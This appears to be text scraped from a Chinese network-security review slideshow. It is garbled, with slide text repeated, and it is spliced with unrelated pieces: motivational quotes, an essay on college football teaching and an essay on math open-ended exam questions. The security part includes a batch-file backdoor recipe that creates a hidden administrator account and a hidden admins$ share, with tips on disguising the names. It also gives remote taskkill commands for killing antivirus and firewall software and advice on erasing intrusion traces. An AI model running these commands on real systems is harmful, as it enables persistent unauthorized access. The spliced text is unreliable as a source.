tasklist：查看运行85远程计算机上的进程终止taskkill/s远程主机IP/u用户名/p密码/pid进程ID号这个命令很实用，常用于关闭远程主机中“妨碍你”的程序，如杀毒软件、防火墙软件等但也要注意，现在很多安全防护软件也道高一尺了。远程计算机上的进程终止taskkill/s远程主机IP86注册表入侵注册表（Registry）是Windows中的一个重要的数据库用于存储系统和应用程序的设置信息。注册表入侵注册表（Registry）是Windows中的一个87注册表入侵（regedit）注册表中有个很重要的区域，储存有开机自动运行的程序HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run注册表入侵（regedit）注册表中有个很重要的区域，储存有88注册表入侵接前面内容，如果想让远程计算机执行某个特定程序，也可以通过注册表中添加启动项的方式来实现。注册表编辑器(regedit)不仅可修改本地计算机上的注册表，也可以修改到远程计算机上的注册表注册表入侵接前面内容，如果想让远程计算机执行某个特定程序，也89注册表入侵简易防范通过注册表，可以修改、删除计算机上的应用程序设置因此攻击者也多了一种入侵的手段。一种简易防范措施就是禁用RemoteRegistry服务注册表入侵简易防范通过注册表，可以修改、删除计算机上的应用程90预留后门一般来说，入侵一旦得手，攻击者往往希望日后也能再次光临，为了以防万一，攻击者经常预留后门。如创建新账户，开设新的隐藏共享等等。附参考样板（把以下内容存为批处理文件Sys.bat）netuserIUSR_Internet123456/addnetlocalgroupadministratorsIUSR_Internet/addscconfiglanmanserverstart=autoscstartlanmanservernetshareadmins$=%windir%备注：注意每个环节的命名技巧，即尽量伪装得真实些预留后门一般来说，入侵一旦得手，攻击者往往希望日后也能再次光91重启、关闭远程计算机命令：shutdown用法一：shutdown-i调出图形界面shutdown-r 重启-s 关机-txxx秒 倒计时显示-m\\远程主机IPshutdown–s–t10–m\\192.168.56.101重启、关闭远程计算机命令：shutdownshutdown92可以看到有无连接情况清除入侵痕迹为了掩人耳目，常常需要做善后处理，即清除入侵痕迹。如删除上传过的无用文件，及时断开连接等。netuse*/del/y可以看到有无连接情况清除入侵痕迹为了掩人耳目，常常需要做善后93IPC$入侵防范措施根据实际情况，一般常用的防范措施有：停用默认共享，即C$、ADMIN$等netsharec$/delnetshareadmin$/del关闭文件共享服务，即Server服务彻底断绝一切共享服务功能折中方案：需要开启共享服务时，在防火墙例外规则中允许“文件和打印机共享”，反之则关闭。归根结底，最佳方案就是为用户账户设置强密码IPC$入侵防范措施根据实际情况，一般常用的防范措施有：94缓冲区溢出缓冲区溢出95概念缓冲区溢出指的是一种系统攻击的手段，通过向程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，使程序转而执行其它指令，以达到攻击的目的。概念缓冲区溢出指的是一种系统攻击的手段，通过向程序的缓冲区写96原因造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。缓冲区溢出就是将一个超过缓冲区长度的字符串置入缓冲区的结果．原因造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。97后果向一个有限空间的缓冲区中置入过长的字符串可能会带来两种后果一是过长的字符串覆盖了相邻的存储单元，引起程序运行失败，严重的可导致系统崩溃；另一种后果是利用这种漏洞可以执行任意指令，甚至可以取得系统特权，由此而引发了许多种攻击方法。后果向一个有限空间的缓冲区中置入过长的字符串可能会带来两种后98基于堆栈的缓冲区溢出voidfunction(char*str){ charbuffer[4]; strcpy(buffer,str);}voidmain(intargc,char**argv){ charlarge_string[8]; inti; for(i=0;i<8;i++) large_string[i]=‘A’ function(large_string);}基于堆栈的缓冲区溢出voidfunction(char99Example(contd.)Large_string上一个栈帧地址返回地址argv内存低端内存高端argcESPMain函数的栈帧i*str返回地址main函数的栈帧地址bufferfunction函数栈帧function函数被调用，调用strcpy之前voidfunction(char*str)…………Example(contd.)Large_string上一100Example(contd.)Large_string上一个栈帧地址返回地址argv内存低端内存高端argcESPMain函数的栈帧i*str返回地址AAAAAAAAfunction函数栈帧function函数被调用，调用strcpy之后voidfunction(char*str)…………Example(contd.)Large_string上一101攻击成功发生必须同时满足三个条件将攻击代码注入内存将函数返回地址指针指向已注入攻击代码的内存地址执行攻击代码攻击成功发生必须同时满足三个条件将攻击代码注入内存102常见的防范措施（1）使用类型安全的编程语言和相对安全的函数库（2）打补丁常见的防范措施（1）使用类型安全的编程语言和相对安全的函数库103入侵检测入侵检测1041.基本概念入侵：Anderson在1980年给出了入侵的定义。入侵是指在非授权的情况下，试图存取信息、处理信息或破坏系统以使系统不可靠、不可用的故意行为。入侵检测：入侵检测是一项重要的安全监控技术，它从计算机网络系统中的若干关键点收集信息，并分析这些信息，看看网络中是否有违反安全策略的行为和遭到袭击的迹象。1.基本概念入侵：Anderson在1980年给出了入侵的105入侵检测系统功能

监督并分析用户和系统的活动

检查系统配置和漏洞

检查关键系统和数据文件的完整性

识别反映已知进攻的活动模式并报警

异常行为模式的统计分析

操作系统的审计跟踪管理，识别用户违反安全策略的行为。入侵检测系统功能

监督并分析用户和系统的活动106数据采集（Sensor）分析器知识库响应/控制响应政策

配置信息告警控制远程管理2.入侵检测系统结构数据采集分析器知识库响应/控制响应政策

配置信息告警控制远程1073.入侵检测的分类按照其检测范围分基于主机的入侵检测系统

数据源系统状态信息（CPU,Memory,Network）记账（Accounting）信息审计信息（Audit），登录认证，操作审计，如syslog等应用系统提供的审计记录

基于网络的入侵检测系统 数据源网络流量

基于应用的入侵检测系统3.入侵检测的分类按照其检测范围分基于应用的入侵检测系统1083.入侵检测的分类按照其分析方法分误用（Misuse）检测专家系统状态转换分析模式匹配协议分析异常（Anomaly）检测3.入侵检测的分类按照其分析方法分109误用（Misuse）检测根据已知的攻击方法或系统安全缺陷方面的知识，建立特征（Signature）数据库，然后在收集到的网络活动中寻找匹配的使用模式（Pattern）——特征匹配/检测准确率较高只能检测已知的攻击（漏警）误用（Misuse）检测110

假设入侵行为与合法用户或者系统的正常行为有偏差。建立一个对应“正常活动”的特征原型，把所有与所建立的特征原型中差别“很大”的所有行为都标志为异常。异常检测用户行为正常行为异常行为误警漏警“阈值假设入侵行为与合法用户或者系统的正11166、节制使快乐增加并使享受加强。——德谟克利特

67、今天应做的事没有做，明天再早也是耽误了。——裴斯泰洛齐

68、决定一个人的一生，以及整个命运的，只是一瞬之间。——歌德

69、懒人无法享受休息之乐。——拉布克

70、浪费时间是一桩大罪过。——卢梭66、节制使快乐增加并使享受加强。——德谟克利特112网络安全总复习11、不为五斗米折腰。12、芳菊开林耀，青松冠岩列。怀此贞秀姿，卓为霜下杰。13、归去来兮，田蜀将芜胡不归。14、酒能祛百虑，菊为制颓龄。15、春蚕收长丝，秋熟靡王税。网络安全总复习网络安全总复习11、不为五斗米折腰。12、芳菊开林耀，青松冠岩列。怀此贞秀姿，卓为霜下杰。13、归去来兮，田蜀将芜胡不归。14、酒能祛百虑，菊为制颓龄。15、春蚕收长丝，秋熟靡王税。网络安全网络安全：从本质上讲，网络安全就是网络上的信息安全，是指网络系统的硬件、软件和系统中的数据受到保护，不受偶然的或者恶意的攻击而遭到破坏、更改、泄露，系统连续可靠正常地运行，网络服务不中断；广义上讲，凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全所要研究的领域。引言足球运动是风靡世界的运动之一，很多国家都拥有自己的足球联赛，国际上每年也会举办洲际比赛与世界比赛，四年一度的世界杯更是全球足球迷的盛宴，我国的足球成绩虽然在进几年一直不尽如人意，但是国家和球迷从未放弃希望。国家要求对高校学生进行全面教育，因此在各个高校开设了足球课程，对高校学生进行足球教学，但是由于缺乏相关教师与教学经验，高校足球教学的效果并不好，因此高校足球教学在新形势下必须进行改革，保证高校足球的教学质量与教学效果。一、新形势下高校足球改革的必要性（一）增强高校学生的身体素质我国高校学生目前的身体素质普遍偏低，在这样的情况下正需要高强度运动的锻炼来增强高校学生的身体素质，足球运动中需要通过大量的跑动来进行运球，在接球时也要观察球的具体落点之后尽快跑到相应的位置，对于跑步的速度是一个锻炼；在防守时有时需要和对方进行身体对抗与拼抢，在足球运动中允许铲球的存在，而进行这些动作的基础都需要力量，如果力量不如对方，那么在拼抢与身体对抗中必然要落于下风，在进行铲球时也不能成功，足球运动也能够充分锻炼高校学生的力量，速度与力量方面的锻炼是对人身体最为重要的两方面锻炼，通过足球运动对身体的锻炼可以让学生的身体素质得到有效提高。（二）培养高校学生团队协作能力当代高校学生大多数是独生子女，他们在大多数情况下都会以自我作为中心，很少去为他人考虑，但是在足球运动中却是不同的，以往的高校足球教学偏重个人训练，但是目前的改革要求加入足球竞赛，这对于高校学生的团队协作能力是一个考验，也是培养高校学生团队协作能力的机会，足球运动要求每支队伍在场上有11名球员，除守门员外剩下的10名球员分工各有不同，有前锋、中场、后卫，他们担负着不同的职能，高校学生在首先要面对的就是这一方面的问题，要为团队着想，每个位置都要有人担任，比赛才能进行，在赛场上要充分信任你的队友，敢于把球传给别人，杜绝个人英雄主义，通过团队配合才能够获得比赛的胜利。（三）提升高校学生的心理素质高校学生在校期间以及毕业之后都会面对多重问题，在校时需要面对考试问题、考研问题、毕业问题等，毕业后又要面对就业问题，这些都要求高校学生有着强大的心理素质，可以应对众多问题，高校足球教学改革为原有的足球教学增添了许多新的内容，高校学生在进行足球运动时能够暂时的忘掉这些问题，充分对身体进行锻炼，释放自己的压力，而且在足球竞赛中，面对长达90分钟的高强度运动，没有强大的心理素质是无法支撑到不塞结束的，因此新形势下足球教学的改革能够充分提升高校学生的心理素质。二、高校足球教学存在的问题（一）教学方法老旧我国高校足球教学中，教师仍旧展主导地位，而且教师并不熟悉目前新提出的诸多教学方法，只会使用老旧的教学方法对学生进行教学，学生在接受这样的教学时很容易会感到厌倦，这就造成了高校足球教学教学效率较低，教学质量较差，学生无法从当前的足球教学中学习到真正的东西；足球战术的变化也是日新月异，教师需要根据具体情况对自身的教学方法做出调整，但是教师过于重视对传统战术的讲解，忽略了新战术的使用，这也是高校足球教学方法老旧的表现之一。（二）缺乏师资力量高校应该重视对学生能力的全面提高，但是往往有些高校却厚此薄彼，过于重视专业课、公共课方面的教学，却忽略了体育课的作用，对于足球教学的投入与关注度不够，一个足球教师往往要负责几个系学生的足球教学，这样的教学教师无法兼顾到每个学生，很多学生无法在足球教学课程中有所收获，足球水平与身体素质无法得到有效的锻炼，教师自身在教学中往往只重视能力较为突出的学生，而忽略了对其他学生的教学。三、新形势下高校足球改革策略（一）树立新的教学观念在教学过程中，足球教师应该发挥出足球这一运动的特性，抓住学生爱玩的心理，让整个教学过程充满趣味性，让学生喜欢上足球运动，体会到足球运动带给自己的重要作用，并且对自身的身体能力与心理素质进行锻炼，保证自身拥有较强的能力，在未来能够适应社会的变化，在社会中生存与发展。（二）建设相关教师团队高校应该相应国家的号召重视对高校学生进行的足球教学，为学生建设一支具有高素质、高水平的教师团队，可以聘请具有足球专业知识的教师或职业足球队伍的教练员来高校进行任教，让每一个学生在足球教学课上都能够有所收获，掌握熟练的足球技巧，锻炼自身的身体素质与心理素质，对足球知识有着更深的了解。（三）转变当前教学模式目前我国高校足球教学课程模式较为单一，内容较为枯燥，在对教学模式与课程内容进行设计时没有咨询过学生的意见，因此需要对高校足球课程的教学模式进行转变，以往的教学模式与教学内容向各个高校说明了它们自身存在着弊端，而且很多高校的足球课程属于选修课，教师对待这一课程的态度也不够认真，因此教师在对教学模式与教学内容进行设计时要充分考虑到学生的情况，对不同水平的学生进行不同程度的教学，并且根据学生的实际情况设计出不同的教学方案，认真的对自己所负责的学生进行教学，让学生在足球课程中能够体会到运动所带来的快乐，充分锻炼自己的身体与意志。开放题是相对于封闭题而言的，是指题目中的条件或结论不完全确定的题目.近些年，在各地的中考题中都有开放题的影子，对学生而言，数学开放题有利于调动学生的学习兴趣，发展各方面的思维能力；对教师而言，教师应精于开放题的研究，学习开放题的编制策略，这样既可以帮助学生从容应对中考，更能培养学生的数学思考能力、解题能力.下面采用戴再平的分类方法，按命题要素分为条件?_放题、策略开放题、结论开放题、综合开放题，给出四种教师可以借鉴的开放题编制方法.条件开放题题目中的条件没有给出或者部分给出，结论是固定的，要求学生从不同角度尝试寻找使结论成立的条件，有利于培养学生思维的敏捷性以及主动分析问题、解决问题的能力.案例1已知3×3的网格图都是由9个相同的小正方形组成的，每个网格图中有3个小正方形已涂上阴影（如图1～图3），请在余下的6个空白小正方形中按下列要求涂上阴影：（1）选取1个涂上阴影，使4个阴影小正方形组成一个轴对称图形，但不是中心对称图形；（2）选取1个涂上阴影，使4个阴影小正方形组成一个中心对称图形，但不是轴对称图形；（3）选取2个涂上阴影，使5个阴影小正方形组成一个轴对称图形.（请将三个小题依次作答在图1、图2、图3中，均只需画出符合条件的一种情形）这道题是2016宁波中考第20题，既是一道条件开放题，又是一道设计题.作为一道中考题，首先答案具备规范性，便于批卷老师评分，也符合学生的最近发展区，能够让学生从多个角度探索问题.本题考查学生对轴对称图形和中心对称图形的认识，学生平常接触到的题目往往是判断一个图形是否是轴对称图形、中心对称图形，此题反向出题，让学生自己去构造出满足条件的图形，更能考查学生的探索创新能力.题目的要求是使阴影部分成为一个满足条件的图形，学生可采用枚举法在空白处依次涂阴影来判断.由于题目要求“只需画出符合条件的一种情形”，因此学生考虑的不全面也不会影响此题的答案.但如果将此题进行变式，改为“符合条件的画法共有几种”或“将所有画法全部画出”，则对学生要求较高，需要学生思维全面.作为教师，在对开放题进行讲解以后，若进行恰当的变式，更能充分发挥开放题的用处，以拓展学生的思维能力.结论开放题结论作为未知要素，题目的条件是固定的，要求学生在已知条件下探索结论的多样性，能够培养学生对所学基本知识的应用能力以及发散思维，这也是中考中出现频率较高的一类开放题，经常出现在填空题中，有多种答案可供学生选择.案例2存在两个变量x与y，y是x的函数，该函数同时满足两个条件：①图像经过点（1，1）；②当x>0时，y随x的增大而减小，请各写出一个满足条件的一次函数、反比例函数和二次函数的解析式.本题来自一道中考真题的改编，让学生写出三个分别满足条件的函数解析式，答案不唯一，重点在于学生能否把握这三个函数的特点.要使得x>0时，y随x的增大而减小，那么学生要知道一次函数必须满足条件k0时y随x的增大而减小，又需经过（1，1），则k=1，满足条件的反比例函数只有一个.二次函数的一般表达式是y=ax2+bx+c，需满足a网络安全总复习11、不为五斗米折腰。网络安全总复习网络安全总113网络安全总复习课件114网络安全总复习课件115网络安全总复习课件116网络安全总复习课件117

钓鱼网站一种网络欺诈行为，指不法分子利用各种手段，仿冒真实网站的URL地址以及页面内容，或者利用真实网站服务器程序上的漏洞在站点的某些网页中插入危险的HTML代码，以此来骗取用户银行或信用卡账号、密码等私人资料。

什么是钓鱼网站什么是钓鱼网站118通信过程中的四种攻击方式图1-1通信过程中的四种攻击方式图1-1119拒绝服务攻击(DoS)DoS--DenialofService：用超出被攻击目标处理能力的海量数据包消耗可用系统、带宽资源等方法的攻击。导致服务器不能正常为合法用户提供服务的攻击。拒绝服务攻击(DoS)DoS--DenialofServ120攻击者

目标主机SYNSYN/ACKACK等待应答SYN：同步SYN/ACK:同步/确认ACK：确认SYN攻击的原理（1）攻击者目标主机SYNSYN/ACKACK等待应答SYN：同121....SYN/ACKSYN/ACKSYN/ACKSYNSYNSYN攻击者目标主机SYNSYN/ACK1nSYN/ACKSYN/ACKSYN/ACKSYN/ACK....等待ACK应答.........不应答不应答重新发送SYN攻击的原理（2）....SYN/ACKSYN/ACKSYN/ACKSYNSY122PDRR安全模型信息安全保障的PDRR模型的内涵已经超出了传统的信息安全保密，而是保护（Protection）、检测（Detection）、响应（Reaction）和恢复（Restore）的有机结合。PDRR安全模型123安全技术评价标准1983年美国国防部颁布了安全标准5200.28：可信计算系统评估准则TrustedComputingSystemEvaluationCriteria，即桔皮书。TCSEC共分为如下4类7级：（1）D级，安全保护欠缺级。（2）C1级，自主安全保护级。（3）C2级，受控存取保护级。（4）B1级，标记安全保护级。（5）B2级，结构化保护级。（6）B3级，安全域保护级。（7）A1级，验证设计级。安全技术评价标准1983年美国国防部颁布了安全标准5200.124密码学密码学125第126页密码的目标对于任何一个密码系统，其目标都是：只有掌握密钥的情况下才能将密文恢复成明文。即：攻击者即使掌握了密码算法的全部细节和其他信息，仍然不能在没有密钥的情况下恢复明文。第14页密码的目标对于任何一个密码系统，其目标都是：126第127页E加密算法密文D解密算法明文M明文M加密密钥Ke解密密钥Kd加密函数E作用于M得到密文C，用数学表示为：E（M）=C.相反地，解密函数D作用于C